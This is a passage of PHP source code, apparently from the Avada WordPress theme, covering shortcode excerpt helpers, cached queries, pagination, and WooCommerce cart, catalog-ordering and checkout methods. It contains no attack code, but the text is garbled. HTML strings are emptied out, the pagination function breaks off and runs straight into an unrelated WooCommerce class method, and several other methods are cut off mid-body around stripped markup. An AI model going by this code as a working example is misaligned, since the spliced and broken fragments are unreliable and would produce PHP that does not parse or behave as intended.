], [ '"', ''' ], $content ); $content = trim( $content ); return $content; } } if ( ! function_exists( 'fusion_extract_shortcode_contents' ) ) { /** * Extract text contents from all shortcodes for usage in excerpts. * * @param array $m The text. * @return string The shortcode contents */ function fusion_extract_shortcode_contents( $m ) { global $shortcode_tags; // Setup the array of all registered shortcodes. $shortcodes = array_keys( $shortcode_tags ); $no_space_shortcodes = [ 'fusion_dropcap' ]; $omitted_shortcodes = [ 'fusion_code', 'fusion_imageframe', 'fusion_slide', 'fusion_syntax_highlighter' ]; // Extract contents from all shortcodes recursively. if ( in_array( $m[2], $shortcodes, true ) && ! in_array( $m[2], $omitted_shortcodes, true ) ) { $pattern = get_shortcode_regex(); // Add space to the excerpt by shortcode, except for those who should stick together, like dropcap. $space = ' '; if ( in_array( $m[2], $no_space_shortcodes, true ) ) { $space = ''; } $content = preg_replace_callback( "/$pattern/s", 'fusion_extract_shortcode_contents', rtrim( $m[5] ) . $space ); return $content; } // Allow [[foo]] syntax for escaping a tag. if ( '[' === $m[1] && ']' === $m[6] ) { return substr( $m[0], 1, -1 ); } return $m[1] . $m[6]; } } /** * Returns the excerpt length for portfolio posts. * * @since 4.0.0 * @param string $page_id The id of the current page or post. * @return string/boolean The excerpt length for the post; false if full content should be shown. **/ function fusion_get_portfolio_excerpt_length( $page_id = '' ) { $excerpt_length = false; if ( 'excerpt' === fusion_get_option( 'portfolio_archive_content_length', 'portfolio_content_length', $page_id ) ) { // Determine the correct excerpt length. if ( fusion_get_page_option( 'portfolio_excerpt', $page_id ) ) { $excerpt_length = fusion_get_page_option( 'portfolio_excerpt', $page_id ); } else { $excerpt_length = fusion_library()->get_option( 'portfolio_archive_excerpt_length' ); } } elseif ( ! $page_id && 'excerpt' === fusion_get_option( 'portfolio_archive_content_length' ) ) { $excerpt_length = fusion_library()->get_option( 'portfolio_archive_excerpt_length' ); } return $excerpt_length; } if ( ! function_exists( 'fusion_link_pages' ) ) { /** * Pages links. * * @since 2.2.0 * @param array $args An array of arguments we want to pass to the wp_parse_args function. * @return void */ function fusion_link_pages( $args = '' ) { wp_link_pages( wp_parse_args( $args, [ 'before' => '', 'link_before' => '', 'link_after' => '', 'pagelink' => '%', ] ) ); } } if ( ! function_exists( 'fusion_link_pages_link' ) ) { /** * Returns page link html. * * @since 5.5.0 * @param string $link WP page link html. * @param integer $i WP page number. * @return string */ function fusion_link_pages_link( $link, $i ) { global $page; if ( $i == $page ) { // phpcs:ignore WordPress.PHP.StrictComparisons $link = '' . $i . ''; } return $link; } } add_filter( 'wp_link_pages_link', 'fusion_link_pages_link', 99, 2 ); if ( ! function_exists( 'fusion_cached_query' ) ) { /** * Returns a cached query. * If the query is not cached then it caches it and returns the result. * * @param string|array $args Same as in WP_Query. * @return object */ function fusion_cached_query( $args ) { // Make sure cached queries are not language agnostic. if ( is_array( $args ) ) { $args['fusion_lang'] = Fusion_Multilingual::get_active_language(); if ( isset( $args['order_by'] ) && 'random' === $args['order_by'] ) { $args['randomize'] = rand( 0, 1000 ); } } else { $args .= '&fusion_lang=' . Fusion_Multilingual::get_active_language(); if ( false !== strpos( $args, 'order_by=random' ) ) { $args .= '&randomize=' . rand( 0, 1000 ); } } $query_id = md5( maybe_serialize( $args ) ); $query = wp_cache_get( $query_id, 'fusion_library' ); if ( false === $query ) { $query = new WP_Query( $args ); wp_cache_set( $query_id, $query, 'fusion_library' ); } return $query; } } if ( ! function_exists( 'fusion_cached_get_posts' ) ) { /** * Returns a cached query. * If the query is not cached then it caches it and returns the result. * * @param string|array $args Same as in WP_Query. * @return array */ function fusion_cached_get_posts( $args ) { $query = fusion_cached_query( $args ); return $query->posts; } } if ( ! function_exists( 'fusion_get_user_locale' ) ) { /** * Retrieves the locale of a user. * If using WordPress 4.7+ uses get_user_locale. * If using WordPress 4.7- uses get_locale. * If the user has a locale set to a non-empty string then it will be * returned. Otherwise it returns the locale of get_locale(). * * @since 5.1 * @deprecated 6.1 Avada now required WP 4.7+ so this is now just an alias. * @uses get_user_locale * @uses get_locale * @param int|WP_User $user_id User's ID or a WP_User object. Defaults to current user. * @return string The locale of the user. */ function fusion_get_user_locale( $user_id = 0 ) { _deprecated_function( 'fusion_get_user_locale', 'Avada 6.1', 'get_user_locale' ); return get_user_locale( $user_id ); } } if ( ! function_exists( 'fusion_get_featured_image_id' ) ) { /** * Gets the ID of the featured image. * * @since 1.1.0 * @param int|string $image_id The image ID. * @param string $post_type The post-type. * @param int|string $post_id The post-ID. * @return int */ function fusion_get_featured_image_id( $image_id, $post_type = null, $post_id = null ) { return Fusion_Featured_Image::get_featured_image_id( $image_id, $post_type, $post_id ); } } if ( ! function_exists( 'fusion_pagination' ) ) { /** * Number based pagination. * * @since 1.3 * @param string|int $max_pages Maximum number of pages. * @param integer $range How many page numbers to display to either side of the current page. * @param string|Object $current_query The current query. * @param bool $infinite_scroll Whether we want infinite scroll or not. * @param bool $is_element Whether pagination is definitely only set for a specific element. * @return string The pagination markup. */ function fusion_pagination( $max_pages = '', $range = 1, $current_query = '', $infinite_scroll = false, $is_element = false ) { global $paged, $wp_query, $fusion_settings; $range = apply_filters( 'fusion_pagination_size', $range ); $start_range = apply_filters( 'fusion_pagination_start_end_size', $fusion_settings->get( 'pagination_start_end_range' ) ); $end_range = apply_filters( 'fusion_pagination_start_end_size', $fusion_settings->get( 'pagination_start_end_range' ) ); if ( '' === $current_query ) { $current_page = ( empty( $paged ) ) ? 1 : $paged; } else { $current_page = $current_query->query_vars['paged']; } if ( '' === $max_pages ) { if ( '' === $current_query ) { $max_pages = $wp_query->max_num_pages; $max_pages = ( ! $max_pages ) ? 1 : $max_pages; } else { $max_pages = $current_query->max_num_pages; } } $max_pages = intval( $max_pages ); $current_page = intval( $current_page ); $range = intval( $range ); $output = ''; if ( 1 !== $max_pages ) { if ( $infinite_scroll || ( ! $is_element && ( ( 'pagination' !== $fusion_settings->get( 'blog_pagination_type' ) && ( is_home() || ( 'post' === get_post_type() && ( is_author() || is_archive() ) ) ) ) || ( 'pagination' !== fusion_get_option( 'search_pagination_type' ) && is_search() ) || ( 'pagination' !== $fusion_settings->get( 'portfolio_archive_pagination_type' ) && ( is_post_type_archive( 'avada_portfolio' ) || is_tax( 'portfolio_category' ) || is_tax( 'portfolio_skills' ) || is_tax( 'portfolio_tags' ) ) ) ) ) ) { $output .= '
    '; $output .= '
    '; $html .= apply_filters( 'awb_reset_variations_link', '' . esc_html__( 'Clear selection', 'Avada' ) . '' ); $html .= '
    '; return $html; } /** * Adds the product-title class to the cart item name link. * * @since 5.1 * @access public * @param string $name The cart item name, can be wrapped by an a tag or not. * @return string The cart item name. */ public function cart_item_name( $name ) { if ( false !== strpos( $name, 'href=' ) ) { return str_replace( ' true ]; return $tags; } /** * Change allowed post tags. * * @since 6.2 * @param array $tags The allowed HTML tags. * @return array $tags The allowed HTML tags. */ public function change_wp_kses_allowed_html_after_terms( $tags ) { unset( $tags['style'] ); return $tags; } /** * The account dashboard. * * @access public */ public function account_dashboard() { ?> before_account_content_heading(); } /** * Content injected before the content heading. * * @access public */ public function before_account_content_heading() { if ( is_account_page() ) { $account_items = wc_get_account_menu_items(); $heading_content = esc_attr__( 'Dashboard', 'Avada' ); if ( is_wc_endpoint_url( 'orders' ) ) { $heading_content = $account_items['orders']; } elseif ( is_wc_endpoint_url( 'downloads' ) ) { $heading_content = $account_items['downloads']; } elseif ( is_wc_endpoint_url( 'payment-methods' ) ) { $heading_content = $account_items['payment-methods']; } elseif ( is_wc_endpoint_url( 'edit-account' ) ) { $heading_content = $account_items['edit-account']; } ?>

    get_cart_hash( $cart ); if ( ! headers_sent() ) { wc_setcookie( 'woocommerce_cart_hash', $hash ); } return $hash; } /** * Dealing with mini-cart cache in internal browser storage. * * @access private * @since 5.0.2 * @param array $cart WC variable holding contents of the cart without language information. * @return string Cart hash with language information */ private function get_cart_hash( $cart ) { $lang = Fusion_Multilingual::get_active_language(); return md5( wp_json_encode( $cart ) . $lang ); } /** * Dealing with mini-cart cache in internal browser storage. * Sets 'woocommerce_cart_hash' cookie. * * @access private * @since 5.0.2 * @param array $cart wc variable holding contents of the cart without language information. */ private function set_cookies_cart_hash( $cart ) { if ( ! $cart ) { return; } $hash = $this->get_cart_hash( $cart ); wc_setcookie( 'woocommerce_cart_hash', $hash ); } /** * Dealing with mini-cart cache in internal browser storage. * Response to action 'woocommerce_cart_loaded_from_session'. * * @access public * @since 5.0.2 * @param WC_Cart $wc_cart wc object without language information. */ public function cart_loaded_from_session( $wc_cart ) { if ( headers_sent() || ! $wc_cart ) { return; } $cart = $wc_cart->get_cart_for_session(); $this->set_cookies_cart_hash( $cart ); } /** * Dealing with mini-cart cache in internal browser storage. * Response to action 'woocommerce_set_cart_cookies', which overwrites the default WC cart hash and cookies. * * @access public * @since 5.0.2 * @param bool $set is true if cookies need to be set, otherwse they are unset in calling function. */ public function set_cart_cookies( $set ) { if ( $set ) { $wc = WC(); $wc_cart = $wc->cart; $cart = $wc_cart->get_cart_for_session(); $this->set_cookies_cart_hash( $cart ); } } /** * Fix for WPML. * * @access public * @since 5.1 (Moved from the constructor - Props @andreagrillo) */ public function wpml_fix() { if ( class_exists( 'SitePress' ) ) { $cart_hash_filter = 'woocommerce_cart_hash'; if ( version_compare( self::get_wc_version(), '3.6', '<' ) ) { $cart_hash_filter = 'woocommerce_add_to_cart_hash'; } add_filter( $cart_hash_filter, [ $this, 'add_to_cart_hash' ], 5, 2 ); add_action( 'woocommerce_cart_loaded_from_session', [ $this, 'cart_loaded_from_session' ], 5 ); add_action( 'woocommerce_set_cart_cookies', [ $this, 'set_cart_cookies' ] ); } } /** * Changes the markup for the product search form. * * @access public * @since 5.1.0 * @param string $form The HTML of the form. * @return string Modified HTML of the form. */ public function product_search_form( $form ) { ob_start(); get_template_part( 'templates/wc-product-search-form' ); return ob_get_clean(); } /** * Closes the div. * * @access public * @since 5.1.0 */ public function checkout_after_order_review() { echo ( Avada()->settings->get( 'woocommerce_one_page_checkout' ) ) ? '' : ''; } /** * Open a div if needed. * * @access public * @since 5.1.0 */ public function before_customer_login_form() { echo ( 'yes' !== get_option( 'woocommerce_enable_myaccount_registration' ) ) ? '
    ' : ''; } /** * Markup to add after the customer-login form. * * @access public * @since 5.1.0 */ public function after_customer_login_form() { echo ( 'yes' !== get_option( 'woocommerce_enable_myaccount_registration' ) ) ? '
    ' : ''; } /** * The woocommerce_post_class hook - Function to add 'product-list-view' class if the list view is being displayed. * * @access public * @since 5.1.0 * @param array $classes An array containing class names for the particular post / product. * @return array $classes An array containing additional class 'product-list-view' if the product view is set to list. */ public function change_product_class( $classes ) { if ( isset( $_SERVER['QUERY_STRING'] ) ) { parse_str( sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ), $params ); $product_view = ( isset( $params['product_view'] ) ) ? $params['product_view'] : Avada()->settings->get( 'woocommerce_product_view' ); $classes[] = 'product-' . $product_view . '-view'; } else { $classes[] = 'product-grid-view'; } return $classes; } /** * Function to add 'product-grid-view' class to product categories. * * @access public * @since 7.2 * @param array $classes An array containing class names for the particular product archive. * @return array $classes An array containing additional class 'product-grid-view'. */ public function change_product_cats_class( $classes ) { $classes[] = 'product-grid-view'; return $classes; } /** * Controls the actions adding the ordering boxes. * * @access public * @since 5.0.4 * @param object $query The main query. * @return void */ public function product_ordering( $query ) { // We only want to affect the main query and no ordering on search page. if ( ! $query->is_main_query() || is_search() ) { return; } $display_type = ''; if ( fusion_is_shop( $query->get( 'page_id' ) ) ) { $display_type = get_option( 'woocommerce_shop_page_display', '' ); } elseif ( $query->is_tax( get_object_taxonomies( 'product' ) ) ) { $parent_id = get_queried_object_id(); $display_type = get_term_meta( $parent_id, 'display_type', true ); $display_type = '' === $display_type ? get_option( 'woocommerce_category_archive_display', '' ) : $display_type; } if ( 'subcategories' !== $display_type && ( fusion_is_shop( $query->get( 'page_id' ) ) || $query->is_post_type_archive( 'product' ) || $query->is_tax( get_object_taxonomies( 'product' ) ) ) ) { if ( Avada()->settings->get( 'woocommerce_avada_ordering' ) || Avada()->settings->get( 'woocommerce_toggle_grid_list' ) ) { remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); add_action( 'woocommerce_before_shop_loop', [ $this, 'catalog_ordering' ], 30 ); add_filter( 'woocommerce_get_catalog_ordering_args', [ $this, 'get_catalog_ordering_args' ], 20 ); } } } /** * Modified the ordering of products. * * @access public * @since 5.1.0 */ public function catalog_ordering() { get_template_part( 'templates/wc-catalog-ordering' ); } /** * Gets the catalogue ordering arguments. * * @access public * @since 5.1.0 * @param array $args The arguments. * @return array */ public function get_catalog_ordering_args( $args ) { global $woocommerce; $woo_default_catalog_orderby = apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby', '' ) ); // On search pages use "Relevance" as default. if ( is_search() ) { $woo_default_catalog_orderby = 'relevance'; } // Get the query args. if ( isset( $_SERVER['QUERY_STRING'] ) ) { parse_str( sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ), $params ); } // Get order by. $pob = ( ! empty( $params['product_orderby'] ) && 'default' !== $params['product_orderby'] ) ? $params['product_orderby'] : $woo_default_catalog_orderby; // Get order. $po = 'asc'; if ( isset( $params['product_order'] ) ) { // Dedicated ordering. $po = $params['product_order']; } else { // Get the correct default order. $po = 'asc'; if ( 'date' === $pob || 'popularity' === $pob || 'rating' === $pob || 'price-desc' === $pob ) { $po = 'desc'; } } // Remove posts_clause filter, if default ordering is set to rating or popularity to make custom ordering work correctly. if ( 'default' !== $pob ) { if ( false !== strpos( $woo_default_catalog_orderby, 'price' ) || 'popularity' === $woo_default_catalog_orderby || 'rating' === $woo_default_catalog_orderby ) { WC()->query->remove_ordering_args(); } } $orderby = 'date'; $order = strtoupper( $po ); $meta_key = ''; switch ( $pob ) { case 'menu_order': case 'default': $orderby = $args['orderby']; break; case 'date': $orderby = 'date'; break; case 'price': case 'price-desc': $callback = 'DESC' === $order ? 'order_by_price_desc_post_clauses' : 'order_by_price_asc_post_clauses'; add_filter( 'posts_clauses', [ WC()->query, $callback ] ); break; case 'relevance': $orderby = 'relevance'; $order = 'DESC'; break; case 'popularity': $meta_key = 'total_sales'; add_filter( 'posts_clauses', [ $this, 'order_by_popularity_post_clauses' ] ); add_action( 'wp', [ $this, 'remove_ordering_args_filters' ] ); break; case 'rating': $meta_key = '_wc_average_rating'; $orderby = [ 'meta_value_num' => strtoupper( $po ), 'ID' => 'ASC', ]; break; case 'name': $orderby = 'title'; break; } $args['orderby'] = $orderby; $args['order'] = $order; $args['meta_key'] = $meta_key; // phpcs:ignore WordPress.DB.SlowDBQuery return $args; } /** * The order_by_popularity_post_clauses method. * * @access public * @since 5.0.0 * @param array $args The arguments array. * @return array The altered arguments array. */ public function order_by_popularity_post_clauses( $args ) { global $wpdb; if ( isset( $_SERVER['QUERY_STRING'] ) ) { parse_str( sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ), $params ); } $order = 'DESC'; if ( ! empty( $params['product_order'] ) && 'ASC' === strtoupper( $params['product_order'] ) ) { $order = 'ASC'; } $join_sql = $args['join']; if ( ! strstr( $join_sql, 'wc_product_meta_lookup' ) ) { $join_sql .= " LEFT JOIN {$wpdb->wc_product_meta_lookup} wc_product_meta_lookup ON $wpdb->posts.ID = wc_product_meta_lookup.product_id "; } $args['join'] = $join_sql; $args['orderby'] = ' wc_product_meta_lookup.total_sales ' . $order . ', wc_product_meta_lookup.product_id ' . $order; return $args; } /** * Removes the order_by_popularity_post_clauses filters. * * @access public * @since 5.0.4 */ public function remove_ordering_args_filters() { remove_filter( 'posts_clauses', [ $this, 'order_by_popularity_post_clauses' ] ); } /** * Determine how many products we want to show per page. * * @access public * @since 5.1.0 * @return int */ public function loop_shop_per_page() { if ( isset( $_SERVER['QUERY_STRING'] ) ) { parse_str( sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ), $params ); } $per_page = 12; if ( Avada()->settings->get( 'woo_items' ) ) { $per_page = Avada()->settings->get( 'woo_items' ); } return ( ! empty( $params['product_count'] ) ) ? $params['product_count'] : $per_page; } /** * Shows the product image. * * @access public * @since 5.1.0 */ public function thumbnail() { $mode = Avada()->settings->get( 'woocommerce_product_box_design' ); $mode = ( ! $mode ) ? 'classic' : $mode; get_template_part( 'templates/wc-thumbnail', $mode ); } /** * Adds cart menu item. * * @access public * @since 5.1.0 * @param string $items The menu items. * @param array|Object $args The menu arguments. * @return string */ public function add_woo_cart_to_widget( $items, $args ) { if ( ! class_exists( 'WooCommerce' ) ) { return $items; } $ubermenu = false; if ( function_exists( 'ubermenu_get_menu_instance_by_theme_location' ) && ubermenu_get_menu_instance_by_theme_location( $args->theme_location ) ) { // Disable woo cart on ubermenu navigations. $ubermenu = true; } if ( false === $ubermenu && 'fusion-widget-menu' === $args->container_class ) { $items .= fusion_add_woo_cart_to_widget_html(); } return $items; } /** * Modify the cart ajax. * * @access public * @since 7.11.4 * @param array $fragments Ajax fragments handled by WooCommerce. * @return array */ public function notices_add_to_cart_fragment( $fragments ) { wc_get_notices(); ob_start(); woocommerce_output_all_notices(); $fragments['awb_woo_notices'] = ob_get_clean(); return $fragments; } /** * Modify the cart ajax. * * @access public * @since 5.1.0 * @param array $fragments Ajax fragments handled by WooCommerce. * @return array */ public function header_add_to_cart_fragment( $fragments ) { global $wpdb; $header_top_cart = avada_nav_woo_cart( 'secondary' ); $fragments['.fusion-secondary-menu-cart'] = $header_top_cart; $header_cart = avada_nav_woo_cart( 'main' ); $fragments['.fusion-main-menu-cart:not(.menu-item-type-custom)'] = $header_cart; $flyout_menu_cart = avada_flyout_menu_woo_cart(); $fragments['.fusion-flyout-cart-wrapper'] = $flyout_menu_cart; // Get cart contents count. $cart_contents_count = WC()->cart->get_cart_contents_count(); // Get meta only for cart-menu special links. $meta_rows = wp_cache_get( 'avada_woo_nav_items', 'avada' ); if ( false === $meta_rows ) { $meta_rows = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery "SELECT postmeta.post_id, postmeta.meta_value, posts.post_title FROM $wpdb->postmeta AS postmeta INNER JOIN $wpdb->posts AS posts ON postmeta.post_id = posts.ID WHERE postmeta.meta_key = '_menu_item_fusion_megamenu' AND postmeta.meta_value LIKE '%fusion-woo-cart%'", OBJECT ); wp_cache_set( 'avada_woo_nav_items', $meta_rows, 'avada' ); } $legacy_nav_fragment_selector = '.fusion-widget-cart'; $menu_el_nav_fragments = []; foreach ( $meta_rows as $meta_row ) { $menu_item_meta = maybe_unserialize( $meta_row->meta_value ); if ( is_array( $menu_item_meta ) && isset( $menu_item_meta['special_link'] ) && 'fusion-woo-cart' === $menu_item_meta['special_link'] ) { $legacy_nav_fragment_selector .= ':not(.menu-item-' . $meta_row->post_id . ')'; $menu_el_nav_fragments[] = [ 'item' => [ 'post_id' => $meta_row->post_id, 'post_title' => $meta_row->post_title, ], 'meta' => $menu_item_meta, ]; } } // Add legacy-headers fragment. $fragments[ $legacy_nav_fragment_selector ] = fusion_add_woo_cart_to_widget_html(); // Add menu special-links fragments. foreach ( $menu_el_nav_fragments as $menu_item ) { // Cart counter. if ( isset( $menu_item['meta']['show_woo_cart_counter'] ) && 'yes' === $menu_item['meta']['show_woo_cart_counter'] ) { // Check for custom styling. $counter_style = ''; if ( isset( $menu_item['meta']['highlight_label_background'] ) && ! empty( $menu_item['meta']['highlight_label_background'] ) ) { $counter_style .= 'background-color:' . $menu_item['meta']['highlight_label_background'] . ';'; } if ( isset( $menu_item['meta']['highlight_label_border_color'] ) && ! empty( $menu_item['meta']['highlight_label_border_color'] ) ) { $counter_style .= 'border-color:' . $menu_item['meta']['highlight_label_border_color'] . ';'; } if ( isset( $menu_item['meta']['highlight_label_color'] ) && ! empty( $menu_item['meta']['highlight_label_color'] ) ) { $counter_style .= 'color:' . $menu_item['meta']['highlight_label_color'] . ';'; } $counter_style = '' === $counter_style ? '' : ' style="' . $counter_style . '"'; // Output with custom styling. $fragments[ '.menu-item-' . $menu_item['item']['post_id'] . ' > a .fusion-widget-cart-number' ] = '' . $cart_contents_count . ''; } // Dropdown. if ( isset( $menu_item['meta']['show_woo_cart_contents'] ) && 'yes' === $menu_item['meta']['show_woo_cart_contents'] ) { $fragments[ '.menu-item-' . $menu_item['item']['post_id'] . ' > .sub-menu' ] = avada_menu_element_woo_cart(); } } return $fragments; } /** * Opens a div. * * @access public * @since 5.1.0 */ public function single_product_summary_open() { echo '
    '; } /** * Closes the div. * * @access public * @since 5.1.0 */ public function single_product_summary_close() { echo '
    '; } /** * Adds skip lazyload attribute to the Woo product gallery image. * * @access public * @since 7.11.14 * @param array $params The image params. * @return array the updated params array */ public function adjust_woocommerce_gallery_image_html_attachment_image_params( $params ) { global $product; if ( $product instanceof WC_Product && $product->is_type( 'variable' ) ) { $params['skip-lazyload'] = true; } return $params; } /** * Markup to add after the summary on single products. * * @access public * @since 5.1.0 */ public function after_single_product_summary() { get_template_part( 'templates/wc-after-single-product-summary' ); } /** * Add related products. * * @access public * @since 5.1.0 */ public function output_related_products() { global $post; $number_of_columns = fusion_get_page_option( 'number_of_related_products', $post->ID ); if ( in_array( $number_of_columns, [ 'default', '' ] ) || ! $number_of_columns ) { // phpcs:ignore WordPress.PHP.StrictInArray $number_of_columns = Avada()->settings->get( 'woocommerce_related_columns' ); } if ( '0' === $number_of_columns ) { return; } $args = [ 'posts_per_page' => $number_of_columns, 'columns' => $number_of_columns, 'orderby' => 'rand', ]; echo '
    '; woocommerce_related_products( apply_filters( 'woocommerce_output_related_products_args', $args ) ); } /** * Displays upsells. * * @access public * @since 5.1.0 */ public function upsell_display() { global $product, $post; $upsells = $product->get_upsell_ids(); if ( 0 === count( $upsells ) ) { return; } $number_of_columns = fusion_get_page_option( 'number_of_related_products', $post->ID ); if ( in_array( $number_of_columns, [ 'default', '' ] ) || ! $number_of_columns ) { // phpcs:ignore WordPress.PHP.StrictInArray $number_of_columns = Avada()->settings->get( 'woocommerce_related_columns' ); } if ( '0' === $number_of_columns ) { return; } echo '
    '; woocommerce_upsell_display( - 1, $number_of_columns ); } /** * Add markup before the cart table. * * @access public * @since 5.1.0 * @param array $args Not really used here. */ public function before_cart_table( $args ) { ?>

    cart->get_cart_contents_count(), 'Avada' ) ), esc_html( number_format_i18n( WC()->cart->get_cart_contents_count() ) ) ); ?>

    '; } /** * Adds coupon code form. * * @access public * @since 5.1.0 * @param array $args The formarguments. */ public function cart_collaterals( $args ) { get_template_part( 'templates/wc-cart-collaterals' ); } /** * Displays cross-sell. * * @access public * @since 5.1.0 */ public function cross_sell_display() { $crosssells = WC()->cart->get_cross_sells(); $number_of_columns = Avada()->settings->get( 'woocommerce_related_columns' ); if ( 0 === count( $crosssells ) || '0' === $number_of_columns ) { return; } woocommerce_cross_sell_display( apply_filters( 'woocommerce_cross_sells_total', - 1 ), $number_of_columns ); } /** * Update the free shipping minimum amount dynamic data endpoint. * * @access public * @since 7.14.1 * @return void */ public function live_update_cart_free_shipping_amount() { if ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( $_POST['security'], 'update_cart_nonce' ) ) { wp_send_json_error( ['message' => 'Security check failed.'] ); wp_die(); } add_filter( 'woocommerce_is_cart', '__return_true' ); // Get the updated free shipping min amount data. $free_shipping_missing = Fusion_Dynamic_Data_Callbacks::woo_get_free_shipping_min_amount( [ 'display_type' => 'missing' ] ); $free_shipping_percentage = Fusion_Dynamic_Data_Callbacks::woo_get_free_shipping_min_amount( [ 'display_type' => 'percentage_reached', 'no_html' => true ] ); $sub_totals = WC()->cart->get_cart_subtotal(); $sub_totals_discounts = WC()->cart->display_prices_including_tax() ? WC()->cart->get_cart_contents_total() + WC()->cart->get_cart_contents_tax() : WC()->cart->get_cart_contents_total(); wp_send_json_success( [ 'free_shipping_missing' => $free_shipping_missing, 'free_shipping_percentage' => $free_shipping_percentage, 'sub_totals' => $sub_totals, 'sub_totals_discounts' => $sub_totals_discounts, ] ); remove_filter( 'woocommerce_is_cart', '__return_true' ); wp_die(); } /** * Update the cart. * * @access public * @since 7.11.15 * @return void */ public function live_update_cart() { if ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( $_POST['security'], 'update_cart_nonce' ) ) { wp_send_json_error( ['message' => 'Security check failed.'] ); wp_die(); } if ( isset( $_POST['cart_item_key' ], $_POST['quantity'] ) ) { add_filter( 'woocommerce_is_cart', '__return_true' ); $cart = WC()->cart->get_cart(); $cart_item_key = sanitize_text_field( $_POST['cart_item_key'] ); $new_quantity = intval( $_POST['quantity'] ); if ( isset( $cart[$cart_item_key] ) ) { $cart_item = $cart[ $cart_item_key ]; $product = apply_filters( 'woocommerce_cart_item_product', $cart_item['data'], $cart_item, $cart_item_key ); $old_quantity = $cart_item['quantity']; WC()->cart->set_quantity( $cart_item_key, $new_quantity ); WC()->cart->calculate_totals(); // Get the updated cart item data $cart_item = WC()->cart->get_cart()[ $cart_item_key ]; $cart_items = WC()->cart->get_cart_contents_count(); $item_sub_totals = apply_filters( 'woocommerce_cart_item_subtotal', WC()->cart->get_product_subtotal( $product, $cart_item['quantity'] ), $cart_item, $cart_item_key ); $free_shipping_missing = Fusion_Dynamic_Data_Callbacks::woo_get_free_shipping_min_amount( [ 'display_type' => 'missing' ] ); $free_shipping_percentage = Fusion_Dynamic_Data_Callbacks::woo_get_free_shipping_min_amount( [ 'display_type' => 'percentage_reached', 'no_html' => true ] ); $sub_totals = WC()->cart->get_cart_subtotal(); $sub_totals_discounts = WC()->cart->display_prices_including_tax() ? WC()->cart->get_cart_contents_total() + WC()->cart->get_cart_contents_tax() : WC()->cart->get_cart_contents_total(); $totals = WC()->cart->get_total(); ob_start(); wc_cart_totals_order_total_html(); $totals_tax = ob_get_clean(); wp_send_json_success( [ 'old_quantity' => $old_quantity, 'cart_items' => $cart_items, 'sub_totals' => $sub_totals, 'sub_totals_discounts' => $sub_totals_discounts, 'item_sub_totals' => $item_sub_totals, 'free_shipping_missing' => $free_shipping_missing, 'free_shipping_percentage' => $free_shipping_percentage, 'totals' => $totals, 'totals_tax' => $totals_tax, 'fragments' => apply_filters( 'woocommerce_add_to_cart_fragments', [ '.cart_totals' => wc_get_template_html( 'cart/cart-totals.php' ) ] ), ] ); remove_filter( 'woocommerce_is_cart', '__return_true' ); } else { wp_send_json_error( [ 'message' => 'Cart item not found.' ] ); } } else { wp_send_json_error ([ 'message' => 'Invalid request.' ] ); } wp_die(); } /** * Adds coupon form in the checkout page. * * @access public * @since 5.1.0 * @param array $args The form arguments. */ public function checkout_coupon_form( $args ) { include locate_template( 'templates/wc-checkout-coupon-form.php' ); } /** * Markup to add before the checkout form. * * @param array $args Not used in this context. */ public function before_checkout_form( $args ) { include locate_template( 'templates/wc-before-checkout-form.php' ); } /** * Closes the div after the checkout form. * * @access public * @since 5.1.0 * @param array $args The arguments (not used here). */ public function after_checkout_form( $args ) { echo '
    '; } /** * Markup to add before the customer details form. * * @access public * @since 5.1.0 * @param array $args The form arguments. Not used in the context of this function. */ public function checkout_before_customer_details( $args ) { global $woocommerce; if ( WC()->cart->needs_shipping() && ! wc_ship_to_billing_address_only() || apply_filters( 'woocommerce_enable_order_notes_field', get_option( 'woocommerce_enable_order_comments', 'yes' ) === 'yes' ) && ( ! WC()->cart->needs_shipping() || wc_ship_to_billing_address_only() ) ) { return; } echo '
    '; } /** * Adds markup after the customer details form. * * @access public * @since 5.1.0 * @param array $args The form arguments. Not used in the context of this function. */ public function checkout_after_customer_details( $args ) { global $woocommerce; if ( WC()->cart->needs_shipping() && ! wc_ship_to_billing_address_only() || apply_filters( 'woocommerce_enable_order_notes_field', get_option( 'woocommerce_enable_order_comments', 'yes' ) === 'yes' ) && ( ! WC()->cart->needs_shipping() || wc_ship_to_billing_address_only() ) ) { echo '
    '; } else { echo '
    '; } echo '
    '; } /** * Add checkout billing markup. * * @param array $args The form arguments. Not used in the context of this function. */ public function checkout_billing( $args ) { global $woocommerce; $data_name = 'order_review'; if ( WC()->cart->needs_shipping() && ! wc_ship_to_billing_address_only() || apply_filters( 'woocommerce_enable_order_notes_field', get_option( 'woocommerce_enable_order_comments', 'yes' ) === 'yes' ) && ( ! WC()->cart->needs_shipping() || wc_ship_to_billing_address_only() ) ) { $data_name = 'col-2'; } ?> settings->get( 'woocommerce_one_page_checkout' ) ) : ?>
    settings->get( 'woocommerce_one_page_checkout' ) ) : ?>
    settings->get( 'woocommerce_enable_order_notes' ) ) ? 0 : 1; } /** * Remove columns and rows option from WooCommerce customizer panel. * * @access public * @since 5.4.2 * @param int $cols Number of columns. * @return int */ public function remove_woo_customizer_columns( $cols ) { return $cols; } /** * Add notice to WooCommerce customizer panel. * * @access public * @since 5.4.2 * @param Object $wp_customize Customizer object. * @return void */ public function add_woocommerce_customizer_notice( $wp_customize ) { $wp_customize->add_control( 'avada_woocommerce_column_notice', [ 'label' => __( 'NOTE', 'Avada' ), /* translators: WC Customizer notice. */ 'description' => sprintf( __( 'You can control the number of products per page and the number of columns for the main shop page from Avada\`s Global Options panel.', 'Avada' ), Avada()->settings->get_setting_link( 'woo_items' ), Avada()->settings->get_setting_link( 'woocommerce_shop_page_columns' ) ), 'section' => 'woocommerce_product_catalog', 'settings' => 'woocommerce_default_catalog_orderby', 'type' => 'hidden', ] ); } /** * Filters the single product shortcode and sets amount of columns to 1. * * @access public * @since 5.5 * @param array $out The output array of shortcode attributes. * @param array $pairs The supported attributes and their defaults. * @param array $atts The user defined shortcode attributes. * @param string $shortcode The shortcode name. * * @return array $out The attribute output array. */ public function change_product_shortcode_atts( $out, $pairs, $atts, $shortcode ) { if ( ! isset( $atts['columns'] ) ) { $out['columns'] = '1'; } return $out; } /** * Creates 